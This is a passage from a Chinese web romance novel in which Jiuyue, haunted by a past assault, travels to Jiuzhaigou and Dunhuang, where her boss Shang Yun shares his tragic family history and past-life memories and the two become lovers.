坐在驾驶位打盹的尚云这时也醒了过来,打开灯,看到她的样子吓一大跳。 “九月,你怎么了?”尚云打开车门扶住她,隆冬季节,暖气并不高,但她额上全是汗,面色惨白。 她像是抓住救命稻草,扑进他怀里,身子瑟瑟发抖。 “做噩梦了?”他问道,低声宽慰她:“不用怕,我在这。” 也许是打开的车门透进来风,让她意识到脱离了那种恐惧处境。也许是尚云在身边,给了她安全感。大概两分钟左右,她便恢复如常。 双手松开了尚云。 “好点了吗?”尚云俊眉紧蹙,拿了一支水给她,“喝点水。” 她接过来,咕咚咕咚喝了三分之一。冷冷道:“到了你怎么没叫我?” “看你睡得香就没叫醒你。” “我先上去了。”她说完推开车门,从另一头下车,头也不回走进公寓大厅。 尚云神色莫测,深遂眸子追着她的身影,有狐疑之色,也有几分不解。 九月洗完澡,镜子里是她卸去妆容洗尽铅华的娇好面容。 愁绪凝聚眉尖,泪水涌出眼眶。 她轻轻拉开睡袍,左胸雪白的肌肤上,盛开一朵娇艳魅惑的凤凰花。 尘封的记忆不受控制的浮现在眼前,在那间密不透风的地下室里,亮着一盏手电筒,照在她身上。黑暗中那些凶狠的巴掌落在她脸上,她眼冒金星,来不及痛吟,又被穿着皮鞋的脚踩在她身上,全身骨骼都在格格作响,随时会断裂。 随后又是几脚,将她踢出好远,她痛得弓起瘦小的身子,连哭都没力气,视线模糊,黑光暗影中看着脚步越来越近,她想跑身体却动弹不得。 她像一只可怜的小猫,被抓住纤细的脖子,扔进一把椅子里,被绳子绑在椅子上,在她凄厉的哭喊呜咽声中,未打麻药,男人嗜血的笑声中,她左边胸口纹出一朵血淋淋的标志——凤凰花。 男人恶魔般的脸凑到她面前,阴沉的声音有如鬼魅:“如果再有下次,这刻刀就不是落在胸口,而是脸上,你好自为之!” 她昏死过去,伤口红肿发炎,无法愈合,她躺在冰冷的地上高烧不退。 仿佛看到爸妈在身旁心疼得直哭,看到奶奶慈祥的抚摸她的头发,褒鸡汤给她补身子,看到尚云替她讨回公道,将那些人打得落花流水满地找牙。 她后来才知道,自己被丢在路边垃圾筒旁,已奄奄一息,是小竺发现了她,打了医院急救电话,经过三天的治疗才从地狱门口抢回一条小命。而昏迷中她微弱地声音,含糊不清地喊着尚云,尚云...... 九月打开盥洗盆上的水龙头,温热的水扑在脸上,不愿再回忆下去。 取来毛巾抹干净水渍,回房,躺在床上等天明。 在天刚拂晓的时候,她终于沉沉睡去。 天际大明,隐隐有阳光透出亮光。她背上旅行包,一边着一边看风景,恍恍惚惚,脚下踏着青石板,来到一座旧城。 她打开手中的路线图,这条街叫午阳街。是由于这一带古建筑深墙高院,长年不见阳光,所以取个阳光点的名字压一压阴气。 但午阳街虽然有名,却地处偏僻,无人管理。因为它臭名昭着。 这里便成了夜间最繁华妖娆的地区,它的靡魅风吸引许多喜爱刺激嗜好重口项目的玩家,重在享乐,致生死于身外。 但在白天这里反而冷清,死一般沉寂,清晨的空气掩不住这条古街上空飘浮着腐蚀味,没有半个人影。 一排排琉璃扶苏和大理石墙相间,她的身影投在上面,晦暗不明。 尽管是大白天,九月回过神来仍是觉得胆寒。 她转身往回走,走到一个岔路口时,手臂突然被人拽住。本就吊着胆子,被这突然的袭击惊出一声冷汗。 扯住她的是一个穿着像西域风格的中年妇女,黑黑的皮肤,眼圈深深凹进去,颧骨却高高凸出来,整个脸,看起来就像站着的木乃伊。 “阿姨,你……你干嘛?”九月强作镇定。 “不用怕,姑娘,我就是想给你一样东西。”木乃伊中文说得很好,露出微笑,脸庞挤出一丝笑容。 “我不要,我有急事要走了!”九月挣了挣手臂,发现看似瘦弱的木乃伊,竟然有几分力气。 木乃伊把一张厚纸片,塞到她手上。双手合十,嘴里念念有词。 九月看了看手上的纸片,纸片比一般的名片大上一倍,上面尽是一些彩色图片,和一些明目彰胆的加盟电话。 九月像是甩掉毒蝎一样,用力而决绝地甩掉纸片。抬头时,木乃伊已不知去向,就像出现时一样鬼魅无踪。 一阵狂奔。 “你看清楚。”木乃伊就在眼前,挡住了她的路。 她机械的转回身体朝刚刚恨不得插翅逃离的街角深处走去。卡片还在,她环顾四周,迅速捡起来,疯一样的在街头奔跑。 九月回到住处,把门和窗都关严实,拉上窗帘,没有开灯。 黑暗里,九月的喘息很急促。胸腔里的心跳动得狂乱无比,像是要挣脱脉络的赘绊跳出喉咙来。 这时传来敲门声,她刚打开门,一群凶神恶煞的男子冲进来,血红的眼珠子简直要掉出来,像僵尸一样伸手按住她就啃咬。 她情急之下,失声尖叫,“尚云,尚云,救我!” 尚云闻声冲过来,把她从人群中拽出来护在身后。势单力薄的与众人抗衡,单手推着她,“九月,你快走。” “尚云,小心!”她看到寒光一闪,刀起刀落,尚云已被剖成两半,血如漫天红霞,染了整间屋子。 啊! 她的哭声回荡在逼仄的空间里,激起一层层回声。 九月猛然坐起身,满头满脸都是汗。惊惧的环顾四周,熟悉的房间,熟悉的摆设,蓝色的窗帘缝隙里,透过清亮如线的光亮,这哪里是旅店,这是公寓宿舍。 原来是梦!好长好真实的梦。 她松了口气,全身虚软了般,无力的用手捂着脸,抹去泪水。 梦是假的,泪是真的。 敲门的人非常有耐心,像是知道她在家里一样,不厌其烦的重复“咚咚咚”的节奏。 门外长身玉立,站着刚刚出现在梦里的人。 她怔了怔:“尚总,怎么是你?” 尚云看她眼睛红肿,皱眉道:“一个晚上没睡?” 她余惊未消,侧过身子将他让进屋:“没,刚醒来。” 他没有进去的打算,站在原地说:“长景旅行社打电话给我,转告你中午11点半,去向阳广场集合乘车去机场。” “你怎么知道?”九月十分诧异。 第一百二十四章 遇见花心驴友 “旅行社打不通你电话,就打了我电话,应该是你留的紧急联系人。”对于这一点,尚云倒是挺满意她的做法。 “哦。”九月拍拍脑袋。 当时填写网上的报名资料时,确实留了尚云的手机号码作为紧急联系人。本以为常规填写,反正他不会知道,她认为紧急联系电话通常没机会用上。 没想到她还没出发,就被他知道了。 “出去玩注意安全。马上要过春节了,玩几天就回来。”尚云交代几句,转身进了隔壁房间。 原来,他昨晚也住在公寓。 她关上门,回房拿过手机一看,果然有十几条未接电话,其中两条是尚云打过来的。 就在这时,手机又收到一条信息,尚云发来的:“既然将我设置为紧急联络人,就提个小要求,你每天记得报平安。” 她撇撇嘴。 还有导游发过来的微信语音。 她一边点开语音,一边从容穿上备好的衣物,画上清爽的淡妆,便出门了。 顺利跟旅行团集合,登上飞机,第一站在成都机场下了飞机,体验成都美食。接近春节,成都街头人满为患,食香九宵。 九月看到琳琅满目的特产和美食,食指大动,大口朵颐的时候,开着视频与文菌聊天,把文菌馋得直后悔没一起出门旅行。 “放心,能打包寄走的,我都买了给你寄回去,注意查收哦。” “太爱你了九月。”文菌对着屏幕比个心。 躺在床上的时候,尚云发了问号过来。 流连忘返忘记发圈了。她看了看时间,晚上十一点多,恶作剧般地挑了几张自己戴着旅行帽坐在美食堆里大块朵颐的照片,选择好定位后,发了朋友圈。 朋友圈哀嚎一片。果然他再无回应。 第二天在酒店吃了早餐,旅行巴士又将他们运至九寨沟辖区,一番休整后,导游便带着他们出发,一边介绍,一边说着注意事项。 租了一些观光车,九月戴着墨镜,系着围巾,戴着帽子全副武装,文菌出现也未必认出她来。 然而,对面同样戴着帽子和墨镜的男子却始终有意无意地打量她。 她便留了个心眼。 自拍的时候,故意将他一起框进相片里,并发了朋友圈。 尽管是冬天,九寨沟仍是景色宜人,美得不可方物。 九月很快就将此人忘到脑后,投身于鬼釜神工般的自然美景中。 碧玉透明的湖泊边沿,一些好看的植物长势茂盛,她尝试摘几枝夹在旅行日记本中做标本。脚下干泥松动,她脚一滑就往湖里栽。 旁边有人眼疾手快拉住她,但帽子和墨镜却掉进了湖里。 “你没事吧?”那人笑着问。正是同一辆观光车里的那个男子。 “是你呀。多谢。”九月说。她东瞧瞧西看看,最后折了一枝树杈,在水中勾住帽沿往身边拨。 那人看得心惊肉跳,最终取下帽子和眼镜让九月拿着,说道:“还是我来吧。” 九月这才看清他的“庐山真面目”,挺清秀的帅小伙。 他拎着湿淋淋的帽子,笑道,“湿透了。” “多谢。”九月又干巴巴地说。 他一笑,露出一口大白牙,“对一个能有幸进入你相框的人,能别那么客气吗?” 九月发窘,想不到自己将他拍进框的事被他识破。 “开个玩笑,我并不介意。”他倒是一个特别爱笑的人。“我叫方联。有缘相遇,交个朋友。” “你好,我叫九月。” 不知是否有意,九月走到哪儿,他便尾随到哪儿。 用他的话来说:“跟着风景,看了一路风景。近处养心,远处养眼。” 甜言蜜语随手捻来。 九月很少搭话,感念他帮她捡回帽子,基本的微笑还是会给他。 几个旅友一起合影时,都以为他们是一对,便将他俩挤在中间,方联自然而然将手搭在她肩上,九月假装整理着装抖了抖肩,想将他的手抖下去。 “九月,别动,看镜头。”旅友无人不知九月这名字,主要是她长相出众,气质不凡,名字还好记。 她一脸呆萌表情,留在那张合影里。 九寨沟之行结束时,一行人已经宛如朋友。晚上在酒店落榻时,方联敲门约她去吃夜宵。 九月婉拒了,恰巧尚云的电话打过来,她便道,“亲爱的,你什么时候到?” 尚云一头雾水,便一言不发。 九月怕尚云一开口便露馅,急道:“方联,不好意思,我男朋友来电话了。” 尚云一听便明白了,“九月,跟谁说话呢?” “男朋友是吧?本来想叫上你一起吃个夜宵,大伙都在呢。”方联尴尬一笑,反应也超级快,“那行,我就不打扰了。” 方联走后,九月松了一口气,“尚总,刚刚......” “你这两天没发朋友圈,我打电话来问问。”尚云说,随口又问,“现在哪里?” 九月:“还在九寨沟,明天一早去敦煌莫高窟。” 尚云:“把你的行程表发我一下。” 九月:“嗯?” 第二天飞往莫高窟飞机场时,方联跟人换了座位,跟九月坐一排。 “你昨晚有破绽。” “我听不懂你在说什么。” 方联笑道:“我知道,你的防备心很重,所以昨晚假装那是你男友朋的电话。” 九月听后便将头转向一旁,假寐。 “情侣之间互称亲爱的,一般是如胶似漆的阶段,怎可能让你形单影只一个人旅行。或许,你确实有男朋友,但感情绝对有点淡漠。我对你一见钟情,世界上再没有人能像你一样,能让我如此魂牵梦萦,心动不已。” 九月继续沉默,腹诽道:都什么年代了,还用如此低级的把妹方法。 “既然没结婚,何不让自己用开放心态,多一个机会,这样才知道谁是你命中的真命天子。对吧。”方联继续鼓动三寸不烂之舌。 九月回过头来,看着他。 他马上堆出笑脸,以为九月被说动了。 谁知九月说道:“方先生,我想休息一会,可以吗?” “当然,当然。一会到了我叫你。”方联果然不再说话,低头玩着手游。 飞机在莫高窟机场降落,将行李放回酒店后,出发去了景区。 览遍佛像无数,壁画无穷,九月置身其中,深深振憾,感慨万千。 唯独让她意外,今年冬天游客一如往常的多,石窟里挤满了人。前人还未出去,新人又进来。方联隔着人群喊她,“九月,这边。” 九月扭头一看,那边确实人很少,便跟着他的脚步出去了。 包里手机发出振动的声音。 是尚云打来的,九月接了电话,就听尚云空旷的声音略带焦急传来:“九月,你在哪?” 九月觉得奇怪,说:“今天在莫高窟,怎么了。” 第一百二十五章 尚云谈起身世 尚云继续问:“莫高窟哪儿?” “在......”九月打量四周,大概是想找个有特色的景点标志,就看到尚云在不远处,拿着电话四处张望的身影,他转头,正好瞧见九月正目瞪口呆的看着自己。 他收起电话走过来。 方联顺着九月的视线,也转身,看到迎面走来一个高大英俊的男人,下意识自我打量,相比之下,自己要输一大截。 不禁讪笑道:“九月,这位是你男朋友?你好。” 尚云看了他一眼,对九月说,“工作刚处理完,来晚了。” 九月脑子里电火石光闹哄哄的,嘴上却麻溜不起来,“没,没关系。” 方联见没人搭理他的意思,自觉消失。 “你怎么来了?” “不是你要我来的吗?”尚云平时不装傻,一装傻便炉火纯青,此时仍面无表情。 九月想起昨天晚上,她在电话里说的话,解释道:“我,我,我,情急之下用的虚招,以为你有这默契。” “来都来了,这么说是要赶我走?” “不敢,海阔凭鱼跃,地大任君行。尚总,你请便。” “出来玩就别称呼职称了。”尚云抿嘴一笑,把墨镜带上,自顾自地寻景去了。 九月嘴角上扬,跟在他后面。 她已经随导游逛了一圈了,便陪着他四处走走停停,顺便向他介绍这里的历史印迹。 如果要深入了解风情文化,感受古迹背后的故事情境,这点时间完全不够,不过走马观花罢了。 他皱眉道:“以后想旅行就自驾游,别像赶集似的天天赶行程。” 她想了想,在半空飞扬的心情突然就跌落下来,低声道:“以后?谁知道以后是怎样的。” 她想:若是他成了家,或是她离开了普世,抑或他们之间失去联系,像千千万万的人一样,重复一样的故事,相遇,失去,重逢,再永远消失在人海...... “尚云......” 他停下脚步,看见她莫名其妙红着眼眶。“怎么了?” “如果有一天,我们失联了,你会不会偶尔想起慕九月?”她眼里噙满泪,嘴角带着笑,脸上写着期待。 他有一瞬间想说出她期待的答案,但最终还是给她一个残酷的现实,“聚散不由人,想不想起,记不记得,都不重要。但无论如何,当下不留遗憾。” 她眼泪漱漱往下掉:“你明知道,就算你说假话,我也会深信不疑。” 他沉沉叹息一声,拿出纸巾替她擦泪,低沉着声音说道:“谁能活成一支千年人参,谁又能逃得过生离死别?天天想这么多作什么,出来玩不就是图开心。走,骑骆驼去。” 九月一听骑骆驼,注意力被转移了:“哪有骆驼?” 真像个小孩。他心里这么想着,嘴角微勾:“鸣沙山,你发给我的旅游行程里不是有吗?” 她抹了抹眼睛,“有吗?我没细看。” 搭了巴士去了鸣沙山,导游介绍一番后,让他们自由观光。 众人都跑去看沙漠之珠了,九月和尚云则往莽莽沙山上爬。早闻月牙泉是沙漠里的碧眼珍珠,今日终于近在眼前。 九月站在高处俯瞰,心旷神怡。忍不住用手放在嘴边,放开嗓子大声喊。 尚云极目远眺,目光仿佛穿越时空,看到茫茫沙尘里金戈铁马,杀声四起。 时过境迁,时光掩埋了历史残骸,粉饰了乱世血腥。 西北风一吹,抚平沙痕,也抚平千年苍凉。 战争,有意义吗? 但是,战争,没有意义吗? “诶,看那边。”九月打断他的思绪,拉着他的手就走,“那边有骆驼。” 不一会儿,两人一人牵着一匹,在沙地里溜达。 尚云不解地问:“刚才跑那么欢,为什么不骑?” 九月却问:“你说它们在这沙地里,一趟一趟的负重爬坡、下坡,好像每天都有爬不完的坡,载不完的游客,会觉得累吗?” “累又如何?” “就觉得它们很可怜。” 尚云面色凝重,意有所指:“你看得见的可怜,不见得是真可怜。真正可怜的,是那些没有价值的骆驼,处境恶劣,连让你看见的机会都没有。” 九月一时语塞,耳边踏沙的咯吱声,一声比一声沉重。 “尚云,你我年纪相仿,但有时候我感觉你历尽苍桑,仿佛这世间,在你眼中没有秘密。这样的心境,没有大半辈子的岁月磨砺,无法看得如此深刻。我时常好奇,在我遇到你之前,你到底经历过什么?” 尚云停下来,前方的沙峰,在阳光下泛着金光,“一定需要经历什么才能成长的话,一生都不够。 浩瀚人类史上,作为一个旁观者,阅尽世相,也自然深刻了。天下改朝换代,科技进步,看起来在不断的进化,但人心与人性不会改变,反而由于进化愈发恶劣,或者说,两极分化太严重了。 关于这些,书中都有记载,看过千古前人的故事之后,当自己再稍经历一些考验,那些故事就顺水成舟,转化成自己的领悟。” “话是这么说,但书籍见识只能算是土壤,中华五千年文化,生就华夏千千万万种观念,成就千千万万种志向。所以,经历才是一个人的种子,而与生俱来的心智、觉悟能力则是催发剂,它决定种进土壤里决定了人能成什么事,有什么志向、见地、心境、领悟。”九月伸手抚摸骆驼的毛发,一根一根捋顺,骆驼很温顺,任她摆弄。 “我也没有窥探你隐私的意思,从小到大,我从不曾打探过你什么。只是突然觉得,我从未真正走到过你心里,从未真正认识过你。我想你也经常感到孤独,即使在慕家那五年时光里,你明显开朗了,却依然会一个人沉默着想事情,比同龄人要深沉许多。尽管我努力甚至刻意制造热闹氛围,也无法驱散你内心的孤寂。现在想起还感觉无力,好遗憾。” 尚云沉静听她讲着往事,眸中有了暖色。将骆驼交给随行的景区工作人员牵走,两人坐在沙丘上,看天边的夕阳一点点沉下去。 风声在耳边呼啸,见九月冷得微微发抖,尚云脱下衣服将她裹住。 两人沉默不语,过了许久,尚云低声道:“我从小生长在一个富庶家庭,父亲白手起家,创办了一家在当时非常庞大的企业,但在12岁那年,我清楚记得那是一个雷雨夜,母亲杀害了醉酒的父亲,也逼我喝下了毒的牛奶。后来就不醒人事了,母亲应该是在我倒地后,就自杀了。原本在别人眼中称羡的三口之家,就这样灰飞烟灭。 我醒来的时候,已经在殡仪馆被当成死尸处理了。当时正逢台风季节,我顺着台风在街上奔跑,一心想逃至一个安全的地方。 我也不知道跑了多久,直到跑不动了,看到海边一艘破轮船,就藏身在那里面一头栽倒昏睡过去。 后面的事,你都知道了。” 九月听得惊心动魄,他却像说别人的故事一样漠然。 第一百二十六章 终成眷属 他的故事远比她想像的惨烈,想到那种场面,她就觉得铺天盖地的黑幕罩在头上,让人绝望到窒息。 这时候的任何安慰都显得苍白。她伸手握住他的手。 他看她一眼,又转头看向落日余晖。 良久,他缓缓道:“我从小就经常做一个奇怪的梦,梦里总是会遇到一个老人,他告诉我,无论我最初多幸福,但终归会家破人亡,孤独终老。我以前只觉得怪诞,直到自己家破人亡之后,投奔到你家,最终慕家也家破人亡,我开始相信这个诅咒一样的梦。” “所以,你觉得我家遭遇那样的事,都是因为你,你竟然相信一个梦?”她恍然大悟,情绪激动地站起身来。 他也站起身,“九月,人在命运面前太渺小了,所有的努力都不值一提。世上哪有这样的巧合?” 九月摇头,“我不相信什么梦。我只相信,只要有你在,就没有解决不了的难题。我想不通你为什么会相信这些。我们家遇到那样的事是因为箫章,不是你,你清醒一点好不好?” 见九月根本不相信他所有坦诚,他的声音发沉:“我很清醒,我家惨案也源于箫家一手策划,他调查到我还活着,寄住慕家,慕家才遭此横祸。你所看到的那张画像,就是前世杀害我的刽子手刘桃枝!家人也无一幸免。” “前世?”九月惊愕道,仿若听到天方夜谭。 “你也许不相信,但我确实有前世的模糊记忆,从来没告诉过任何人。随着时间流逝,那些记忆越来越模糊,碎片化,开始连接不起来,有一些场景我却清晰记到现在。”他脸上出色伤痛之色,那些久远的记忆与不甘,在岁月的打磨中,催发他更浑厚的执念。 九月话中尽是不可置信,又有几分无力:“如果你说的是真的,是否表明世上有造物主?那我们不过是他掌中操纵的人偶,活在他设计的情节中。我们所做的一切还有什么意义?” “你错了。我不相信世上有造物主。”尚云的回答令她意外。 尚云接着说,“我们都是偶然而生,在这大千世界中,自有一套运行规则,这套规则会带动偶然生就的事物,随着它的规律运转。所以,我们谁都逃不出规则,最终一切偶然在规则中形成了必然。当世间有规则,我们所做的一切就有意义。人心会变,规则不会,这是不公中的公平,也是古人所说的‘道法’。” 九月眼中充斥着痛苦,她哽咽道:“我不懂什么道法,我只知道,如果没有你,我的世界就只有灰白,没有光彩。如果没有你,我不敢想像味如嚼蜡般的活着跟行尸走肉有何分别。” 她缓步靠近他,轻轻依偎在他怀里:“你知不知道,因为世间有你,我心存侥幸地活到现在,无惧无畏的直面风雨。你能想像一个人深信身后站着巨人给她壮胆,才敢勇敢迎战,在冲上战场那一刻转头发现身后无人的恐惧吗?你的心里装着整个世界,而我的世界只装着你。” 尚云一时无话,沉默不语地听她倾诉。 “我相信你所说的一切,但你用这个理由拒我于千里之外,对我不公平,对你自己也不公平。”她泣不成声:“我不在乎活多久,如你所说,只想这一刻不留遗憾。尚云,能不能不要推开我?” 尚云眼眶发红,紧紧拥着她。思虑良久,终于松口。嗓音暗哑,一字承诺:“好。” 九月破涕为笑,两人浑然忘记了时间,远处景点的灯光亮了起来,淡黄色的沙地里有了暖色。 “回去吧,该集合了。”尚云轻轻提醒。 还是迟了。 赶到集合地点,车子已经离开。 “我手机没电,关机了。”九月掏出手机,怎么按都开不了机。 “我临时补的名额,导游手上可能没有我的联系方式。”尚云猜测。 “你有所住酒店的电话吗?叫什么酒店?” 九月摇摇头,“不记得了。” “那我重新找酒店了。”他打了个电话,两人在景区入口处等待。 “冷吗。”他问,双手握住她冰凉的手不停的搓,放在嘴边哈气。 她幸福得一塌糊涂。“我不冷。” “傻笑什么?”尚云略显忧伤的眸中柔情四溢。 “觉得这趟旅行超值。”九月说,“这个地方,我这辈子都不会忘。” 他无言地伸手将她揽入怀中。 不一会儿,车子便来了,两人上车后,司机将二人送到市区一家酒店。 尚云向客服要两间房时,转头瞅见九月可怜的眼神,便不太自然地挠挠额头,改口道,“呃,一间吧。” 进房间后,发现房里已经开了暖气,身上的寒凉之气顷刻消失无踪。 九月突然胸腔怦怦作响,再看尚云,他似乎也有点反常,看起来有些微的紧张。 “九月,你......你去洗澡。” “哦。”九月应了一声,便钻进浴室。 洗完出来,没看到尚云,略微有些慌乱。手机没电,行李都在那家酒店里。正胡思乱想之际,尚云被人刷开了。 看到熟悉的身影,她一下子放松了。“你去哪了?” “你手机没电,我去给你找了个充电器。”尚云将充电器递给她,她的充电器在行李里,没带在身上:“给手机充电,明天联系导游。” “跑一天了,早点睡。” 她急道:“你又要去哪?” “我洗澡去。” 她转身低头有点不好意思,点点头。 九月假装睡着,侧身朝着外边。听着尚云在房间里走动的轻微声响,她好奇偷偷瞄了一眼。 尚云拧开瓶盖喝了半瓶水,又打开电视,将声音调得很小声,然后坐在床头看电视。 他见她在被窝里蠕了蠕,以为灯光太刺眼,便将灯关掉了。 过了半晌,九月也爬起来,一起看电视。 实际上,他不知道电视荧幕里在播放什么,九月也不知道。 “怎么不睡?”他低声问。 “睡不着。”她望着他,眼波流转,楚楚动人。 他心中一动,便道,“那关掉电视?” “嗯。” 他摁掉电视,房间里漆黑一片。钻进被窝时碰到她冰凉的手,“冷吗?” “嗯。” 他犹豫一下,将她拥进怀里。黑暗中,他们能听到彼此胸腔里肆意撞击的心跳。九月抬头,在他喉结印下一吻,尚云身体僵了僵,情难自抑,低头吻住她,情到浓处,一切水到渠成。 九月,从此是他的九月了。 第一百二十七章 尚云替九月出气 第二天,天已大亮。 九月从睡梦中醒来,发现自己被尚云紧紧抱在怀里,而自己的手则环在他的腰间。虽然并不是没有想过这么一天,但真正发生了,她却觉得羞赧,干脆一直装睡。 身边的人似乎也醒了,她能感觉到他灼热视线胶在她脸上。 “九月,早安。”她听到他温柔声音距离自己很近。一个吻如蜻蜓点水,掠过她微肿的唇。 经他这么一吻,昨夜黑暗中的那些或狂野或温柔的记忆纷纷涌进脑海,她的脸红到耳根。脑袋往他怀里钻,不敢看他。 尚云嘴角勾起一抹笑,声音低柔而忐忑:“你后悔吗?” 听他这么问,九月心中辗转万千,抿着嘴唇,眼泪纷纷落下。 尚云惊讶的托起她的脸,心凉了半截:“你怎么了……” 九月满脸是泪,低声道:“我后悔,很后悔。” 他只觉心往黑洞里沉,喉结滚动,却说不出一句话。抱住她的手,无力地松开。 她却紧紧抱住他,哽咽道:“我后悔让你一个人受了那么多苦。我后悔之前对你的误解和伤害,失去了那么多原本属于我们的快乐时光。 尚云,我爱你。 我们剩下的时光,每分每秒弥足珍贵,舍不得拿来误解,你有任何事情,都别瞒着我,我们肩并肩一起面对。” “月儿...…”尚云叫她的小名,把脸埋进她的发中,闷闷道:“我快被你吓死了,你这小磨人精。” 九月笑里带泪:“我必须要把心里话说出来,尚云,不管未来会发生什么事,我都觉得我是世界上最幸福的人。” 尚云闻言突然抱紧她,蹙眉道:“我答应你,无论发生什么事我都不会放开你的手,这辈子你休想离开我。” 九月勾住他的脖子,仰首轻轻吻住他。本想只是安慰一吻,便准备起床的。 没想到他顺势欺身上来,修长的手不安分的游移。但很快便停顿了,他的视线落在她胸口那朵颜色赫然醒目的凤凰花上。 他的手指抚上那厚实微硬的伤疤上:“九月,这是什么?” 她沉默了。 他的热烈慢慢冷却下来,温柔的眼眸也转为深沉,痛惜。 两人在低气压中吃了早餐,九月的手机叮咚响起来。 导游打来的电话,“昨晚一直打不通你电话,天气太冷我就先送大家回酒店了。后来再跟司机去接你时,听工作人员说你跟男朋友离开了。可算是联系上你了,下一站胡扬林,十点钟在酒店集合。” “对不起,昨天手机没电了,联系不上你。你把酒店定位发给我,一会就到。”九月说。 “九月,把鸡蛋吃了。”他剥好放她盘里。 “时间快赶不上了。”九月说着已经开始收拾东西。其实也没什么收拾的,就一个纸袋装着充电器这些小玩意。 他按住她,“慌什么,吃吧,让他们等会。” “你在生气?” 尚云面上云淡风清,嘴上却说:“如果我没在,他们到时间就走了,留你一个人在景区,人生地不熟,天寒地冻的,出了事怎么办?” “那我也不该到了点不集合,是我有错在先,而且手机还关机。”九月总觉得理亏,但还是听了尚云的,将鸡蛋一点点就着牛奶咽下去。 尚云可没这么好哄:“世上的事都这么顺利的吗?这是旅行团应该要考虑的意外因素应变之法。她说是说后来去找你了,但工作人员半个字都未提,说明没有事先打招呼,想起来了打听一下罢了。连这点都没考虑到,难道让客户去将就他们吗?” 九月扑哧就笑了,“三句不离本行,每个公司要是都有个尚总,天下多美好。” 尚云板着脸,也不笑。扯了一张餐由纸,擦掉她脸上的面包屑。 她按住他的手,有点不好意思:“我自己来。” 到了酒店,大家果然都在大厅拿着行李等他们。 导游和一名工作人员上来就不客气道,“不是说好十点钟,这都十点过十分了,你这是耽搁大家的时间。” 九月刚要道歉,尚云就让九月上去拿行李。 她低声道:“你可别吵架。” 尚云下巴一扬,让她快去。 昨天行李放酒店根本没拿东西出来,就出去玩了。这会推着行李就出了房间,也挺快。 正是退房高峰,等电梯费了时间,她心里着急,担心尚云一个人吃亏,嘴皮子哪里是他们天天练嘴上功夫的对手。 一会儿的功夫,好像等了漫长的时间。 出了电梯,大厅里的人都已经上车。 她拉着行李就出了酒店,就看到导游和工作人员对尚云满脸堆笑,正说着什么。 看到九月匆匆跑过来,忙不迭说道,“不用跑的,不用跑的,看把你急的。昨天是我们做的不好,让你受罪了。这是我帮朋友带的特产,多带了两份,我帮你放在座位上。” 尚云不笑时,本身就有一股不怒自威的气势在,更何况现在还板着脸。 九月不明情况,看了看双方。 工作人员小心地问,“现在可以出发了吗?要不请二位移驾上车。” 尚云也不理会他,拉着九月上车,九月回头道:“我行李......” “没事,没事,我来放。”工作人员说。 车子启动时,九月悄悄问:“你刚才说什么了?他们变化很大。” 尚云搂着她肩膀,看着窗外小声说道:“跟他们没说什么,当着他们面,给旅行社的老总打了个电话。” 九月一听,竖起大拇指。 这才是尚云,将军有剑不斩苍蝇。 他不会跟下面的人掰扯,直接跟掌舵者有效沟通,一句顶一万句。 接下来几天的行程过得有点快,直到返程下了飞机回到宝宁市的时候,九月看着熟悉的城市夜景,竟有恍若隔世之感。 “尚云,你送我回公寓吧。”九月闷闷说道。 “怎么了?” 九月想了想,说道:“公司正在向上发展的节骨眼上,春节之后你应该会有很多重大决策,正处敏感时期。我暂时不想向世人犹其向同事公开我们的关系,工作上以前怎样,现在还是怎样。任何决策不涉及私人情感。” 尚云握住她的手,目不转睛看着路况,说道:“我同意你的看法。但现在马上就春节了,先去滨香苑过完年,好吗?” 九月所考虑的跟他想法一致,她远比他想像中还要大气、成熟,这令他欣慰。 她犹豫再三,点点头:“好。一个星期没见洋洋了,我把它寄养在宠物店,离公司不远。” “行,去接你的宝贝洋洋。”尚云嘴角噙笑说道。话中明显有醋意。 九月被他逗笑,将他的手贴在脸上。“好怕这是一场巨长又真实的梦。” “就算是梦,也是我们共同的梦。”尚云动情地说。 第一百二十八章 伊人如梦 从宠物店接了洋洋,知道尚云对猫毛过敏,就将它连笼子一齐放在后面。这时,车子里的熟悉音乐响起,九月一愣,“《伊人如梦》?” 再看尚云,他神秘一笑,说道:“他的歌,我一直很喜欢,歌词也写得好,直击人心。” 繁星如许明月如初 前尘往事从何细数 心有情丝万千束 却剩得一缕孤独 春花开谢秋草又枯 盛衰荣辱如何细数 汨水暖渭水寒 换不回伊人如故 尝尽悲欢离合人间苦 却怎么咫尺天涯陌路 痴心诉痴意笃痴情再相付 愿为你拼尽柔情傲骨 望尽相思红颜凋零处 我只愿与你朝朝暮暮 爱入心恨入骨生死再相赴 愿为你永生永世守护 ...... 他将车停进车库,九月却没有下车的意思,转头叫她,“九月?” “嗯?”她的泪水滴在衣服上。 他将音乐关掉,他叹息,拿了纸巾试掉泪水:“以后不听了,太伤感。你呀,怎么一点都没变,还是这么容易掉眼泪。” 她撇了撇嘴,低声分辩:“我不是在谁面前都这样。” 嗯,确实。 她对外界一贯疏离淡漠,谁能看到她的情绪?在年会上那么多人起哄让她上台出丑,她表现出洞悉一切的气度,谈笑风生就应对过去。就连当初对自己充满敌意的时候,伶牙利齿,言辞尖锐,把他气得不轻,她半滴眼泪都没有。 如今,在他面前听一首歌就能泪酒衣襟,是将自己最柔软、最无防备的一面交付给他了。 他抱住她,在她耳边道:“九月,喜欢你十七年了,你从当初单纯天真的小画家,变成如今这样无可挑剔身披盔甲的女将风范,我不知道该难过还是该高兴。” 九月泪水一涌而出,“那你喜欢小画家,还是女将?” “我喜欢你,无论你呈现出什么样。” “你这个答案让人好没安全感。”九月破涕为笑。 尚云却没有笑,无比深情地道:“我说的真心话。从你把自己热气腾腾的糯糍让给还是陌生人的我时,从听到你毫不犹豫跟医护人员说你就是我的家人那一刻,我就不可救药的喜欢上你了。” “既然如此,你为何不让我叫你哥哥?” 尚云嘴角一勾,“哥哥能像我现在这样,跟你说这些吗?” 九月愣了愣,瞬间释然,把头埋在他怀里,又是笑又是哭。 “上去吧。岑姨该等急了。”下了飞机就给岑姨打电话了,此时怕是将晚餐已准备妥当。 两人到了门口就闻到香味。 岑姨见了二人,一阵欢喜,“尚先生,九月,你们回来了。还有一个汤,马上就好了。” “岑姨,辛苦了。” 尚云说,“这些天在外面吃的那些菜难以下咽,早就想念岑姨的手艺了。” 岑姨乐呵呵地道:“那等会儿多吃点。” 九月帮着将菜端出来,摆上碗筷。“岑姨,给你带了点特产,你一会记得拿。” 岑姨挺高兴的,“大老远拎回来不容易,我可舍不得用。” 她生活经验足,很快就发现这两个年轻人跟以往的互动不太一样了,心知肚明,笑得嘴都合不拢了。 